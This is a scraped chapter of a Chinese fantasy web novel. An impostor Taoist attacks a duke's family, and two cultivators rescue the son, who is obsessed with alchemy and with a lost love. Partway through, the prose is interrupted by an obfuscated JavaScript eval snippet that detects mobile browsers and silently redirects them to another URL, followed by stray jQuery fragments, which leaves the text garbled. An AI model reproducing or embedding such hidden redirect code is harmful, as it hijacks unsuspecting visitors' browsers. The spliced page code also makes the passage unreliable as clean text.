231. 番外(1)

作品:《失手伤害反派后

    国公府三代单传的嫡子鹤览川,身世尊荣,样貌出尘,端方知礼,是平阳女子的春闺梦里人,更是男子钦羡不已的对象。


    可就在国公爷带着浩荡队伍出征伐寮,大胜回来之后,一切都变了,少年郎一纸婚书,退了爹娘给他定下的娃娃亲,更是自此我行我素,紧闭房门,谁也不知道他在里面做什么,但总能在半夜看到那头的火光冲天,有云游的道长路过,告诉国公夫人他是在炼丹。


    好端端地怎么会炼丹?


    国公夫人只觉天都要塌了,昔日乖巧的孩儿,怎么会变成这样?


    专研神仙道术,求仙卜卦,凡是能触碰到那玄乎又玄的仙道的,鹤览川总能想尽办法攫取到手,再一头扎入房内,从此十天半个月也不见人出来。


    国公夫人几个月来哭得双眼通红,问国公爷究竟发生了什么事,却只字不提,只说这都是鹤览川的造化。


    什么叫造化,鹤览川自幼乖巧懂事,怎么突然会有了这样的造化,一定是妖魔鬼怪在作祟,说不定正是看中了鹤览川的姿颜,才要将他掳去做压寨夫婿的,毕竟画本子里总是这样写的。


    国公夫人信心念一动,花了大价钱请了个除魔驱邪的道士,是个年轻却又道行高的道士,臂弯上搭着拂尘,不是白色,是罕见的黑色。


    道士来了府内先不打量鹤览川的那头,只把他们夫妻两个盯着看,像是问题出在他们身上似的,可那目光却是在质疑,偶尔还夹杂着点愤恨。


    国公夫人和老爷只当是能力大的脾性也大,没放在心上,把他引到鹤览川的院子,草草地带他踩了下步子,就问:“道长,可看出点什么?”


    道士轻轻一笑,把手中的黑色拂尘甩到另一边,双手掐诀,咪咪嘛嘛念了他们都听不懂的咒语,只见一道金光从道长手中飞出,倏尔在半空变作黑色,“轰——”地贴下,房子颤了颤。


    屋顶盖着的瓦片顷刻间滚落了大半部分,乌云也跟着卷到头顶,压得几人喘不过气来,还是国公夫人瞧出点不对劲,担忧地问:“果真是这样?道长,我只想让我的孩儿回来,不是要取他性命。”


    “自然,夫人稍安勿躁。”道士安抚道。


    得了道士的亲口肯定,国公夫人果真不说话了,道士眯着眼睛又从褡裢里摸出一排铜板,往地上一洒,骨碌碌滚到四面八方,摆成个歪歪扭扭的“活”字,起码在国公夫人的眼中是这样,可在道士的眼中却是个“死”字。


    他的眼睑压得更低,笑容也因浓重的乌云染上了诡异的黑,“看来天要亡你,怨不得我。”


    这话国公夫人没听清,国公爷却听清了,就在道士要抽出明黄色符箓的时候,国公爷拉住了他的手,目眦欲裂,“你要取我孩儿的性命!我哪能容得你!”


    道士轻轻一扬手,就把缠住自己的双臂甩开了,国公爷在惯性的作用下跌到了一旁的花坛,正好昨日落了雨,衣冠整洁的国公爷狼狈地沾了通身泥浆,脸上却未见半点羞,只有愤。


    “芸儿!”他在唤国公夫人,“他来路不正,不能让他得逞!”


    可话一出口,国公夫人僵直的身子缓缓地转了过来,茫然地看向匍匐在地上的他,越看那双眼睛就瞪得越大,甚至于觉得睁得还不够大,动手撑起眼皮,使劲地瞪着他,通白的球体布满血丝,要不是国公爷喊得及时,那蛋大的眼珠子就要从眼眶里喷出来了。


    国公爷捏着一把冷汗,向那道士吼道:“你想干什么!”


    “替天行道。”道士嘻嘻一笑,带着几分真挚的笑容,让国公爷恍然看到了自己的孩儿鹤览川,尤其是那双幽潭般的眼眸,高挺的鼻梁,还有大致的轮廓,没有哪一处不像鹤览川,要说是一个模子里刻出来的,都有这个可能。


    国公爷心里头冒出个不确定的猜想,他咽咽唾沫,小声地说了出来,“你是不是我孩儿的……”可话到一半,又堵了回去,道士清峻的面容突然间扭曲错位,乌黑的头发也霎时间变得花白,仅仅就一刹那,道士变成了老人。


    “你是人是鬼?”国公爷哆嗦着,“你来我府上有什么打算!”


    道士嘴角划开笑,阴惨惨,冷飕飕,“取利息。”


    只见道士把手中拂尘一甩,黑色的邪气从他袖口飞了出去,直逼面前的房子,是鹤览川所在的地方,可是刚才都有声音,但是现在是一点声音都听不见了,国公爷知道,鹤览川在里面是晕了,因为他在刚才听到了“咚——”的一声,是头坠地砸出的动静。


    仆从也赶来救人,可全无半点用处,那道士轻轻一扬手,围成堵高墙的家丁奴仆身子倏地腾空,倒头就飞了出去,最后连他们老爷和夫人的衣角都没摸到。


    国公爷呆立地站着,国公夫人在刚才承受不住已经昏了。道士满脸的兴奋,房屋的一角早已坍塌,砖瓦碎成流沙堆成了个正立的尖锥,风也在嘶吼,连天都在助力,这一切势在必得,里头的鹤览川必死无疑。


    道士是这样想着,可谁知就在最后一角也要倒坍的时候,天边穿来一道紫色的流光,还未看清人,那流光猛地往他胸口一扎,他倒了下去,术法中断,鹤览川还是被救回来了。


    那紫色的流光是把飞剑,上面踩着一位霞姿月韵的紫衣姑娘,正是当今天玄宗的掌门人程舟怡,姑娘身后跟着面容清逸的青年,是扶光宗的范呈路。


    二人一落地,就使出翻叠的法诀,压住那取人性命的邪气,在两人的合力下,房屋不再坍塌了,天上的乌云也散开了,甚至漏下几点金灿灿的光来,给二人披上了层彩色的云霞。


    程舟怡走向国公爷,把他从地上扶起,“你还好吗?”


    “还有我的夫人,芸儿……”国公爷没回答自己怎么样,满脸忧色地望向僵直的另一边,看到那青年施了法诀,国公夫人空洞的眸子开始闪动,心地的石头落下来,才有心思回答程舟怡的话。


    “多亏了诸位仙师,暂且无碍。”


    “那就好。”听罢,程舟怡两指一并,紫光蹿了上去,就要一抹,身后的范呈路喊道:“舟怡,不可……”


    双指停在半空,“为什么不可,他们看到了不该看的。”


    范呈路这头刚安顿好国公夫人,又因为程舟怡的举动,让她心生戒备,向后退了几步远,显然是对他们失去了信心,可他们来这里的目的就是为了搞定鹤览川的事情的,和他们太有疏离感可不是好事。


    “国公爷,还望恕罪,我们只是担心你们受到惊吓,毕竟……”范呈路大致想了个由头向他们解释。


    国公夫妻两人也很好说话,弄清了刚才的一切都是误会,对他们的戒备也少了很多,只不过要达到完全的信任还是有些难度的。


    导致这样僵硬的局面也有程舟怡的一份功劳,遂也不多说什么,直接往那用灵力修补好的书房走去。


    鹤览川就在那里,不信他们,自己朝夕相伴的孩子总该是信的吧。


    门推开的时候,鹤览川已经从地上起来了,身上没有半点伤,只是衣角擦了点灰,是炼丹炉里头的灰,因为他正忙碌地往丹炉里丢药草,是最普通不过的草药。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078722|169447||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才丢进去,火舌一卷,顷刻间就成了飘纱般的灰烬,连点斑驳的火星子也没给他留下。


    显然这样是不可能炼成灵丹的。


    正看着,范呈路也走了进来,轻轻地拍了拍她的肩,示意她往后看。


    身后站着鹤览川这一辈子的父母,正神情焦灼朝这边望,眼里还闪着泪花,被漏下的金光一晃,折射出一簇璀璨的光。


    爱子心切,看到自己孩子这个人不人鬼不鬼的模样,没有不心痛的。程舟怡朝他们比了个手势,意指都保在她身上。国公爷和夫人看到这一幕,总算咧开了久违的笑。


    “他这个样子,不像是入迷,像是中了邪,你打算怎么做?”范呈路小声问她。


    “先顺着他的心意来吧。”程舟怡叹息道。


    鹤览川的心意就是芷念,转世了还没把人忘掉。他们两人就是发觉鹤览川和芷念前世的孩子不对劲,尽管她父亲试图给那人驱除邪气,可邪气入体,侵蚀了五脏六腑,早已是回天乏术,于事无补。


    又看那孩子懂事乖顺,业已改过自新,有向生的欲求,这才把人放下山,却没想一时不察,差点酿成命案。


    程舟怡从乾坤袋拿出灵丹,手腕一用力,灵丹精准投入炼丹炉,发出清脆的撞击声,声音不大,可动静大,鹤览川这才反应过来身后站着人,而且还是修士。


    “仙师……”几乎不带任何犹豫,鹤览川扭头就要拜。


    程舟怡拉人拉不及,倒还真让这昔日的大师兄给自己磕了个头,心内过不去,也蹲下身子和他保持平齐的高度,“师……鹤公子……你想修仙?”


    “是!我想!”


    他的面容没有变,依旧是曾经的那个白衣翩翩的师兄,可满脸的烟尘,和未刮的胡茬子,登时让昔日出尘的形象大打折扣,程舟怡看着这个人,试图从他身上找回师兄的影子,然而一无所获。


    程舟怡又问:“为何?”


    “因为……因为有个人,我不记得她了,可是她就像只蚂蚁,一直在我脑海里爬,我很难受,她把我的记忆都糊住了。我试图忘记,可是一忘记,这里就会痛。”他使劲地捶胸口,那是心脏的位置。


    范呈路蹙起眉头,“这和你炼丹有什么关系?”


    “我想成仙,我想见到她。”鹤览川解释道:“有个人告诉我,炼丹就可以,只要吃了就能长生不老,长身不老就可以登昆仑丘,那里有很多在世仙人。要不然就是去青鸾峰,听说那里连年都会招收新弟子。”


    程舟怡对他这番话不敢苟同,虽然不知道那个人是谁,可就算是真的吃了灵丹也不可能长生不老,多么虚妄的言辞,偏偏这个人还信,还付诸实践,难怪一路过来的时候听到有人说这国公府里出了个疯子。


    “你们……是不是也不信?”鹤览川突然又不知道说了什么,红着眼问,“你们也是仙师,难道你们……”


    “信。”程舟怡回答得言简意赅。


    初秋凉,昨日又下了场雨,跪在地上跪久了,腿麻,程舟怡朝范呈路使了个眼色,范呈路立马就把她拉了起来,又去把鹤览川叫起。等好顿好了位置,程舟怡又从乾坤袋拿出张牛皮纸,用麻绳捆着,看不清里面的内容,但不厚,有点像旧时的地图。


    鹤览川问:“这是……”


    “南边的安阳住着我的一个好友,她那里有求仙问道的方法,最适合你们这种没有灵根的,你去找她一切都能解决。”程舟怡抿了口茶,说道。


    “她叫什么名字?”


    “沈可念。”